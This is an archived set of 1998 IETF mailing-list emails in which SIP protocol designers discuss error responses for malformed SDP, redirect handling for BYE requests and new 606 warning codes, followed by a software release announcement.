	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA02879
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jun 1998 08:58:35 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA07693
	for <confctrl@ISI.EDU>; Fri, 19 Jun 1998 08:58:33 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id SAA22094; Fri, 19 Jun 1998 18:58:54 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 42256628.005D5B0E ; Fri, 19 Jun 1998 18:59:41 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Message-ID: <42256628.0009A990.00@il4.vocaltec.co.il>
Date: Fri, 19 Jun 1998 04:16:11 +0200
Subject: Error when the SDP is bad in a SIP request
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 06/19/98 04:16 AM

I am writing the PINT I-D, and I am still looking for the "right" way to
have the SIP server return an error if it is a
perfectly good SIP server that doesn't understand the GSTN tag. Perhaps the
question is a hole in SIP:

Suppose a SIP server gets a request whose SIP is perfectly well formed,
but whose payload is malformed, say
an badly formed SDP description. Is it  "400 Bad Request" --  even when the
SIP is perfect, and only the SDP is bad.

If the answer is "400 Bad Request" is there any way for the server to
return the offending line back to the client  (or first offending line if
there are several?). This would solve my problem -- a SIP server that
doesn't understand PINT would just choke on the "malformed" GSTN tag.   I
could bend the "Warning:" to suit this purpose, but I'm not sure that this
is correct.

If there is no way to for the server to indicate the bad line, then I will
use a "Require: ietf.pint.GSTN"  tag whenever the SDP description has a
GSTN tag in it. This will allow the server to return the fact that it
doesn't understand GSTN. But this is pretty horrible, it seems to me. It
complicates both client and server unecessarily, and the solution is much
less generic than just having the server return the offending line in the
"Bad Request" response.


Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com



From confctrl-owner  Fri Jun 19 12:16:10 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id MAA06526
	for confctrl-outgoing; Fri, 19 Jun 1998 12:16:10 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id MAA06521
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jun 1998 12:16:08 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id MAA26180;
	Fri, 19 Jun 1998 12:16:02 -0700 (PDT)
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by dirty; Fri Jun 19 15:14:24 EDT 1998
Received: from newton.dnrc.bell-labs.com (newton.dnrc.bell-labs.com [135.180.144.64])
	by boole.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id PAA22213;
	Fri, 19 Jun 1998 15:14:44 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by newton.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id PAA03302; Fri, 19 Jun 1998 15:14:12 -0400 (EDT)
Message-ID: <358AB884.6F675B43@cs.columbia.edu>
Date: Fri, 19 Jun 1998 15:14:12 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4m)
MIME-Version: 1.0
To: Eric Tremblay <etremblay@mediatrix.com>
CC: "'Mark Handley'" <mjh@ISI.EDU>, "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Redirect Server
References: <D1222A5B22CBD0118D8E0000C00C85E912ED9E@nettrix.mediatrix.com>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by boole.dnrc.bell-labs.com id PAA22213
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id MAA06522
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Eric Tremblay wrote:
> 
> > -----Original Message-----
> > From: Mark Handley [mailto:mjh@east.isi.edu]
> > Sent: 18 juin, 1998 20:03
> > To: Eric Tremblay
> > Cc: 'confctrl@ISI.EDU'
> > Subject: Re: SIP Redirect Server
> >
> >
> > >Can a redirect server redirect other requests than INVITE?
> >
> > Yes, it can.  Especially with OPTIONS or REGISTER methods.
> >
> > >Or must a
> > >UAC be prepared to handle a 301/302 response when sending
> > BYEs?  I don't
> > >think it should, but I want to make sure, because this might cause a
> > >small problem.
> >
> > I don't think it makes sense to redirect a BYE, ACK or CANCEL.  If the
> > server doesn't have enough information to handle one of these
> > requests, I would normally expect it to return 481 (Invalid Call-ID).
> 
> I have a problem with BYE in the following scenario:
> 
> user A (located at station1.mediatrix.com) invites user B (which is at
> term2.isi.edu).  User A's "permanent address" (where he normally
> registers) is  userA@redirect.mediatrix.com, which is a
> registrar/redirect server and user B's permanent address is
> userB@isi.edu (for this scenario, we don't care if isi.edu is a proxy or
> redirect).
> 
> The problem happens when User A invites user B with no "Location" header
> and "From: sip:userA@redirect.mediatrix.com".  If user B wants to BYE
> user A, the BYE has to go trough a redirect server
> (redirect.mediatrix.com), unless the From header really points to the
> CURRENT location of user A.
> 
> The point here is to know if it is ok to have the From header point to
> the "permanent address" of a user instead of its "current address".  I
> think it should always be the permanent address.  In this case, if a
> user knows that his permanent address points to a redirect server, a
> Location header should always be included in an Invite (or ACK) request
> (so the remote user can send BYE requests).
> 
> This is not a problem with a proxy, but I wonder if we should state
> something special to take care of this case with a redirect.

The spec currently allows (changed to SHOULD) a Location header for just
this purpose, as described in the motivation section Section 6.22).
However, on rare occasions (such as when the end system is mobile), not
having the Location in the invitation seems to be useful. In that case,
the redirect server tracks user location (e.g., via REGISTER) and the
callee sends a BYE to the redirect server and then to whatever the
current location of the caller is.


> 
> > Perhaps we should state this explicitly as a general rule for 3xx
> > responses?
> 
> I think it depends on what you think the solution to the above problem
> is.  Have the BYE redirected? (I don't like it).
> Have the From header take the value of the Current location?  I don't
> like that because this rules out any way to get the permanent address
> from an invitation (so you can call back...).  Strongly suggest to add a
> Location header to Invites or ACK requests?  Maybe...
> 
> >
> > Mark
> >
> >
> 
> EricT
> 
> Eric Tremblay       | Mediatrix Telecom
> Ingénieur Stagiaire | -----------------
> email: etremblay@mediatrix.com
> Tel: +1(819)829-8749 ext. 238
> Web: www.mediatrix.com

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Jun 19 13:02:53 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA07130
	for confctrl-outgoing; Fri, 19 Jun 1998 13:02:53 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA07125
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jun 1998 13:02:51 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA28934
	for <confctrl@ISI.EDU>; Fri, 19 Jun 1998 13:02:50 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id QAA08137; Fri, 19 Jun 1998 16:02:45 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Eric Tremblay <etremblay@mediatrix.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Redirect Server 
In-reply-to: Your message of "Fri, 19 Jun 1998 15:14:12 EDT."
             <358AB884.6F675B43@cs.columbia.edu> 
Date: Fri, 19 Jun 1998 16:02:45 -0400
Message-ID: <8135.898286565@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>The spec currently allows (changed to SHOULD) a Location header for just
>this purpose, as described in the motivation section Section 6.22).
>However, on rare occasions (such as when the end system is mobile), not
>having the Location in the invitation seems to be useful. In that case,
>the redirect server tracks user location (e.g., via REGISTER) and the
>callee sends a BYE to the redirect server and then to whatever the
>current location of the caller is.

It would certainly simplify clients if we simply _prohibit_ sending a
redirect for BYE, ACK or CANCEL requests.  It seems that the mobile
case you describe can be handled by the proxy relaying a BYE without
needing to send a redirect.  The principle purpose of a redirect is to
_inform_ the client that the callee is elsewhere.  For INVITE, OPTIONS
and REGISTER, this makes sense as the data can be meaningfully be
cached and future requests optimised.  For a BYE from the _callee_, it
doesn't seem to make too much sense - if the caller wanted you to have
the correct location, it should have included a Location header.  If
it's mobile, that's its problem, and its proxy should deal with it and
hide it from the callee.  If you don't have the proxies relay you need
to deal with both ends moving simultaneously, which seems more
complicated than we really want to get into here.

I don't feel strongly about this - I don't think it's a really big
deal, but anything we can do to simplify the situations for regular
clients and servers seems to be a good thing.

Cheers,
	Mark






From confctrl-owner  Fri Jun 19 14:22:08 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA09224
	for confctrl-outgoing; Fri, 19 Jun 1998 14:22:08 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA09219
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jun 1998 14:22:06 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA07274
	for <confctrl@ISI.EDU>; Fri, 19 Jun 1998 14:22:02 -0700 (PDT)
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by dirty; Fri Jun 19 17:21:56 EDT 1998
Received: from newton.dnrc.bell-labs.com (newton.dnrc.bell-labs.com [135.180.144.64])
	by boole.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id RAA23174;
	Fri, 19 Jun 1998 17:22:26 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by newton.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id RAA03320; Fri, 19 Jun 1998 17:21:54 -0400 (EDT)
Message-ID: <358AD671.3FF69B12@cs.columbia.edu>
Date: Fri, 19 Jun 1998 17:21:53 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4m)
MIME-Version: 1.0
To: Mark Handley <mjh@ISI.EDU>
CC: Eric Tremblay <etremblay@mediatrix.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Redirect Server
References: <8135.898286565@north.lcs.mit.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Mark Handley wrote:
> 
> >The spec currently allows (changed to SHOULD) a Location header for just
> >this purpose, as described in the motivation section Section 6.22).
> >However, on rare occasions (such as when the end system is mobile), not
> >having the Location in the invitation seems to be useful. In that case,
> >the redirect server tracks user location (e.g., via REGISTER) and the
> >callee sends a BYE to the redirect server and then to whatever the
> >current location of the caller is.
> 
> It would certainly simplify clients if we simply _prohibit_ sending a
> redirect for BYE, ACK or CANCEL requests.  It seems that the mobile
> case you describe can be handled by the proxy relaying a BYE without
> needing to send a redirect.  The principle purpose of a redirect is to
> _inform_ the client that the callee is elsewhere.  For INVITE, OPTIONS
> and REGISTER, this makes sense as the data can be meaningfully be
> cached and future requests optimised.  For a BYE from the _callee_, it
> doesn't seem to make too much sense - if the caller wanted you to have
> the correct location, it should have included a Location header.  If
> it's mobile, that's its problem, and its proxy should deal with it and
> hide it from the callee.  If you don't have the proxies relay you need
> to deal with both ends moving simultaneously, which seems more
> complicated than we really want to get into here.
> 
> I don't feel strongly about this - I don't think it's a really big
> deal, but anything we can do to simplify the situations for regular
> clients and servers seems to be a good thing.

Simplicity is in the eye of the beholder :-) To me, having an incoming
processing loop that says

2xx: we're done, ACK it
3xx: re-issue command with new Location
456xx: failure

independent of the request issued seems pretty easy (and much easier to
extend to new methods).

To paraphrase: Anything we can do to minimize the number of special
cases seems to be a good thing :-)

> 
> Cheers,
>         Mark

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Jun 19 14:42:07 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA09656
	for confctrl-outgoing; Fri, 19 Jun 1998 14:42:07 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA09647
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jun 1998 14:42:05 -0700 (PDT)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA09664
	for <confctrl@isi.edu>; Fri, 19 Jun 1998 14:42:01 -0700 (PDT)
Received: from boole.dnrc.bell-labs.com ([135.180.161.25]) by dirty; Fri Jun 19 17:41:21 EDT 1998
Received: from newton.dnrc.bell-labs.com (newton.dnrc.bell-labs.com [135.180.144.64])
	by boole.dnrc.bell-labs.com (8.8.8/8.8.8) with ESMTP id RAA23297;
	Fri, 19 Jun 1998 17:41:49 -0400 (EDT)
Received: from cs.columbia.edu (localhost [127.0.0.1]) by newton.dnrc.bell-labs.com (8.7.5/8.7.3) with ESMTP id RAA03334; Fri, 19 Jun 1998 17:41:17 -0400 (EDT)
Message-ID: <358ADAFD.29F1B366@cs.columbia.edu>
Date: Fri, 19 Jun 1998 17:41:17 -0400
From: Henning Schulzrinne <hgs@cs.columbia.edu>
X-Mailer: Mozilla 4.04 [en] (X11; I; SunOS 5.5.1 sun4m)
MIME-Version: 1.0
To: Scott Petrack <Scott_Petrack@vocaltec.com>
CC: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Error when the SDP is bad in a SIP request
References: <42256628.0009A990.00@il4.vocaltec.co.il>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Scott Petrack wrote:
> 
> From: Scott Petrack@VOCALTEC on 06/19/98 04:16 AM
> 
> I am writing the PINT I-D, and I am still looking for the "right" way to
> have the SIP server return an error if it is a
> perfectly good SIP server that doesn't understand the GSTN tag. Perhaps the
> question is a hole in SIP:
> 
> Suppose a SIP server gets a request whose SIP is perfectly well formed,
> but whose payload is malformed, say
> an badly formed SDP description. Is it  "400 Bad Request" --  even when the
> SIP is perfect, and only the SDP is bad.

> 
> If the answer is "400 Bad Request" is there any way for the server to
> return the offending line back to the client  (or first offending line if
> there are several?). This would solve my problem -- a SIP server that
> doesn't understand PINT would just choke on the "malformed" GSTN tag.   I
> could bend the "Warning:" to suit this purpose, but I'm not sure that this
> is correct.
> 

This is probably the best solution. You don't really want to mix SIP and
SDP (since there may be others in the future) too much. My suggestion:
define a MIME type text/errors that simply lists (compiler style, if you
like) the erroneous lines. E.g.,

12: codec 79 not supported
13: country code +99 not understood

Alternatively, if you want standardized numeric error codes, the Warning
messages are appropriate.

> If there is no way to for the server to indicate the bad line, then I will
> use a "Require: ietf.pint.GSTN"  tag whenever the SDP description has a
> GSTN tag in it. This will allow the server to return the fact that it
> doesn't understand GSTN. But this is pretty horrible, it seems to me. It
> complicates both client and server unecessarily, and the solution is much
> less generic than just having the server return the offending line in the
> "Bad Request" response.

> 
> Scott Petrack
> VocalTec Communications Ltd.
> petrack@vocaltec.com
> 
> ---------
> This message came from the IETF PINT Working Group Mailing List.

-- 
Henning Schulzrinne         email: schulzrinne@cs.columbia.edu
Dept. of Computer Science   phone: +1 732 949 8344 (at Bell Labs)
Columbia University         fax:   +1 212 666-0140
New York, NY 10027          URL:   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Fri Jun 19 14:43:21 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id OAA09716
	for confctrl-outgoing; Fri, 19 Jun 1998 14:43:21 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id OAA09711
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jun 1998 14:43:20 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id OAA09812
	for <confctrl@ISI.EDU>; Fri, 19 Jun 1998 14:43:18 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id RAA08462; Fri, 19 Jun 1998 17:43:14 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Eric Tremblay <etremblay@mediatrix.com>,
        "'confctrl@ISI.EDU'" <confctrl@ISI.EDU>
Subject: Re: SIP Redirect Server 
In-reply-to: Your message of "Fri, 19 Jun 1998 17:21:53 EDT."
             <358AD671.3FF69B12@cs.columbia.edu> 
Date: Fri, 19 Jun 1998 17:43:14 -0400
Message-ID: <8460.898292594@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>Simplicity is in the eye of the beholder :-) To me, having an incoming
>processing loop that says
>
>2xx: we're done, ACK it
>3xx: re-issue command with new Location
>456xx: failure
>
>independent of the request issued seems pretty easy (and much easier to
>extend to new methods).
>
>To paraphrase: Anything we can do to minimize the number of special
>cases seems to be a good thing :-)

I agree in general.  But there are simply some responses we should not
expect the client to have to deal with gracefully.  

Someone calls me, and we have a conversation.  Eventually I hang up,
and my client sends a BYE.  I now get back a "300 multiple choices"
response.  To do anything useful with this my client needs to prompt
me, but that's inappropriate at this stage.  So what should it do?

This also applies to "380 Alternate Service" and "381 Ambiguous".
"302 Moved Permanently" is also inapproriate because I was talking to
the user right up until the moment I got the response, so they can't
really have permanently moved.

So that just leaves "301 Moved temporarily" as possibly being
appropriate.  Why not just state that servers MUST NOT return 3xx
responses in response to a BYE.  Then the client doesn't need special
code to attempt to handle these responses gracefully but can simply
flush state and blame the server for being broken?

Cheers,
	Mark




From confctrl-owner  Fri Jun 19 15:04:48 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA10311
	for confctrl-outgoing; Fri, 19 Jun 1998 15:04:48 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA10306
	for <confctrl@zephyr.isi.edu>; Fri, 19 Jun 1998 15:04:47 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id PAA12026
	for <confctrl@ISI.EDU>; Fri, 19 Jun 1998 15:04:45 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id SAA08550; Fri, 19 Jun 1998 18:04:38 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Scott Petrack <Scott_Petrack@vocaltec.com>, confctrl@ISI.EDU,
        pint@lists.research.bell-labs.com
Subject: Re: Error when the SDP is bad in a SIP request 
In-reply-to: Your message of "Fri, 19 Jun 1998 17:41:17 EDT."
             <358ADAFD.29F1B366@cs.columbia.edu> 
Date: Fri, 19 Jun 1998 18:04:38 -0400
Message-ID: <8548.898293878@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>> Suppose a SIP server gets a request whose SIP is perfectly well formed,
>> but whose payload is malformed, say
>> an badly formed SDP description. Is it  "400 Bad Request" --  even when the
>> SIP is perfect, and only the SDP is bad.
>
>> 
>> If the answer is "400 Bad Request" is there any way for the server to
>> return the offending line back to the client  (or first offending line if
>> there are several?). This would solve my problem -- a SIP server that
>> doesn't understand PINT would just choke on the "malformed" GSTN tag.   I
>> could bend the "Warning:" to suit this purpose, but I'm not sure that this
>> is correct.

There are two distinct cases - when the SDP is illegal syntax, and
when the SDP is legal but conveys a session you cannot participate in.

"400 Bad Request" seems appropriate for the former, but "606 Not
Acceptable" should be used for the latter.  I would hope the PINT SDP
is legal SDP syntax, just indicating a format or media that this
server doesn't understand, and so 606 would be the appropriate
response.

This leads me to realise we're missing a warning code - there should
be a "606.X Incompatible Media" warning code to complement
Incompatible Format and Incompatible Protocol, although at a pinch
Incompatible Protocol could serve this purpose.

We could also add a "4xx Malformed Payload" response code, but I don't
see we gain that much by doing so as it won't change the client's
behaviour - it would only be useful for debugging and as Henning
states, a textual payload in a 400 reponse would be fine for that
purpose.

Mark


From confctrl-owner  Thu Jun 25 06:55:56 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id GAA22349
	for confctrl-outgoing; Thu, 25 Jun 1998 06:55:56 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id GAA22344
	for <confctrl@zephyr.isi.edu>; Thu, 25 Jun 1998 06:55:55 -0700 (PDT)
Received: from sumo.vocaltec.co.il (sumo.vocaltec.co.il [199.203.72.1])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id GAA11266
	for <confctrl@isi.edu>; Thu, 25 Jun 1998 06:55:52 -0700 (PDT)
Received: from il4.vocaltec.co.il (notesgw.vocaltec.co.il [199.203.72.136]) by sumo.vocaltec.co.il (8.8.5/8.6.12) with SMTP id QAA13136; Thu, 25 Jun 1998 16:56:07 +0200 (IST)
Received: by il4.vocaltec.co.il(Lotus SMTP MTA v1.1 (385.6 5-6-1997))  id 4225662E.005224D8 ; Thu, 25 Jun 1998 16:57:13 +0200
X-Lotus-FromDomain: VOCALTEC
From: "Scott Petrack"<Scott_Petrack@vocaltec.com>
To: confctrl@ISI.EDU
cc: pint@lists.research.bell-labs.com
Message-ID: <4225662E.004263C3.00@il4.vocaltec.co.il>
Date: Thu, 25 Jun 1998 14:18:18 +0200
Subject: Missing Warning reasons to SIP
Mime-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk





From: Scott Petrack@VOCALTEC on 06/25/98 02:18 PM

In SIP there are at present 5 Warning reasons defined. Two of these have to
do with SDP problems:
incomatible media format and incompatible protocol. These are very useful,
because as SDP is extended
there will be new formats and protocols used and the SIP server may not
understand these new types.

But it is already specified that SDP can be extended in seven different
ways, according to RFC 2327:

 "media",    "proto", "fmt", "att-field", "bwtype", "nettype" and
"addrtype".

So in SIP we have a warning for the case of "proto" and "format", but not
for any of the other cases.

I am writing up PINT now and I can already see that a SIP server which is
not a PINT server will not understand
the GSTN "nettype." And a PINT server which does not understand some local
numbering plan  contained in
the PINT request will understand the GSTN network type but not understand
the "addrtype."

Please can we get it right now and add to basic SIP the following Warnings:

606.6 Incompatible Media: One or more Media types described in the request
are not available.
606.7 Incompatible Network Type: One or more Network Types described in the
request are not available.

(e.g. This would be returned by a SIP server which doesn't understand the
GSTN nettype)

606.8 Incompatible Address Types: One or more Address Type fields described
in the request are not available.
606.9 Incompatible Attribute: One or more attribute fields described in the
request are not available.

606.10 Incompatible BW Type: One or more BW Type fields described in the
request are not available.

I asked before how SDP errors should be propogated back through SIP, and I
now see that the Warning field does
 this already in several cases, so it should be completed to allow standard
SIP servers to express their incompatibility with whatever future
extensions of SDP get made.

Thanks,

Scott Petrack
VocalTec Communications Ltd.
petrack@vocaltec.com



From confctrl-owner  Thu Jun 25 08:11:41 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA24977
	for confctrl-outgoing; Thu, 25 Jun 1998 08:11:41 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA24972
	for <confctrl@zephyr.isi.edu>; Thu, 25 Jun 1998 08:11:39 -0700 (PDT)
Received: from north.lcs.mit.edu (north.lcs.mit.edu [18.26.0.4])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id IAA15739
	for <confctrl@ISI.EDU>; Thu, 25 Jun 1998 08:11:37 -0700 (PDT)
Received: from north.lcs.mit.edu by north.lcs.mit.edu (SMI-8.6/SMI-SVR4)
	id LAA17934; Thu, 25 Jun 1998 11:11:14 -0400
From: Mark Handley <mjh@ISI.EDU>
X-Organisation: Information Sciences Institute, USC
X-Phone: +1 617 253 6011
To: Scott Petrack <Scott_Petrack@vocaltec.com>
cc: confctrl@ISI.EDU, pint@lists.research.bell-labs.com
Subject: Re: Missing Warning reasons to SIP 
In-reply-to: Your message of "Thu, 25 Jun 1998 14:18:18 +0200."
             <4225662E.004263C3.00@il4.vocaltec.co.il> 
Date: Thu, 25 Jun 1998 11:11:14 -0400
Message-ID: <17932.898787474@north.lcs.mit.edu>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


>I am writing up PINT now and I can already see that a SIP server which is
>not a PINT server will not understand
>the GSTN "nettype." And a PINT server which does not understand some local
>numbering plan  contained in
>the PINT request will understand the GSTN network type but not understand
>the "addrtype."
>
>Please can we get it right now and add to basic SIP the following Warnings:

>606.6 Incompatible Media: One or more Media types described in the request
>are not available.
>606.7 Incompatible Network Type: One or more Network Types described in the
>request are not available.
>
>(e.g. This would be returned by a SIP server which doesn't understand the
>GSTN nettype)
>
>606.8 Incompatible Address Types: One or more Address Type fields described
>in the request are not available.
>606.9 Incompatible Attribute: One or more attribute fields described in the
>request are not available.
>
>606.10 Incompatible BW Type: One or more BW Type fields described in the
>request are not available.

I agree with most but not all of these.  The two I have reservations
about are Attribute and BW Type.  The others MUST be understood in
order to join the session, and hence merit causing an error and having
a warning field allocated to them.

Attributes are generally considered optional additional information
about the session.  For example, Icast and Precept have often used
attributes to convey additional information that is helpful for their
software to have, but isn't essential for reception of the session.
There are exceptions, such as rtpmap, which you really should
understand, and if I was doing SDP from scratch today, I'd do it
differently to make this distinction clearer, but the general rule is
that you do not raise an error if you get an attribute you don't
understand.  

Bandwidth fields are similar - normally you wouldn't expect an unknown
bandwidth identifier to cause an error because they're informational
but not essential to participation.  But as we have next to no
experience with bandwidth fields, this is somewhat less obviously
that it is with attributes.

As we progress SDP to draft standard and it gets used in a wider range
of circumstances, we might consider whether we need to add the SDP
equivalent of a "Require:" header for attributes to make the
distinction clearer.

Cheers,
	Mark

From confctrl-owner  Thu Jun 25 08:54:37 1998
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA26726
	for confctrl-outgoing; Thu, 25 Jun 1998 08:54:37 -0700 (PDT)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA26708;
	Thu, 25 Jun 1998 08:54:33 -0700 (PDT)
Received: from forest.icast.com ([209.1.118.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA19143;
	Thu, 25 Jun 1998 08:54:32 -0700 (PDT)
Received: (from mail@localhost)
	by forest.icast.com (8.8.5/8.8.5) id IAA05351;
	Thu, 25 Jun 1998 08:54:31 -0700
Received: from apache.icast.com(192.168.20.10) by forest.icast.com via smap (V2.0)
	id xma005347; Thu, 25 Jun 98 08:54:18 -0700
Received: from shazamm.internal.icast.com ([192.168.20.196])
	by apache.internal.icast.com (8.8.5/8.8.5) with SMTP id IAA28302;
	Thu, 25 Jun 1998 08:53:44 -0700 (PDT)
Message-ID: <359270AF.4430@icast.com>
Date: Thu, 25 Jun 1998 08:45:51 -0700
From: Vinay Kumar <vinay@icast.com>
Reply-To: vinay@icast.com
Organization: ICAST Corporation
X-Mailer: Mozilla 3.02 (Win95; I)
MIME-Version: 1.0
To: mbone@ISI.EDU, mboned@network-services.uoregon.edu
CC: confctrl@ISI.EDU, rem-conf@es.net
Subject: icast c:tv 3.0: final release
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

[apologize in advance for multiple copies]

the final builds were released last week. come and get it from
   http://www.icast.com/download/

thanks to millions of folks who downloaded and gave us valuable
feedback. 

one clarification (since lot of people asked this before):
- the ICAST Recorder software is fully compatible with "University of
Mannheim MBone VCR"

as usual, all comments, suggestions, bug-reports to: support@icast.com.

happiness.
---
 vinay
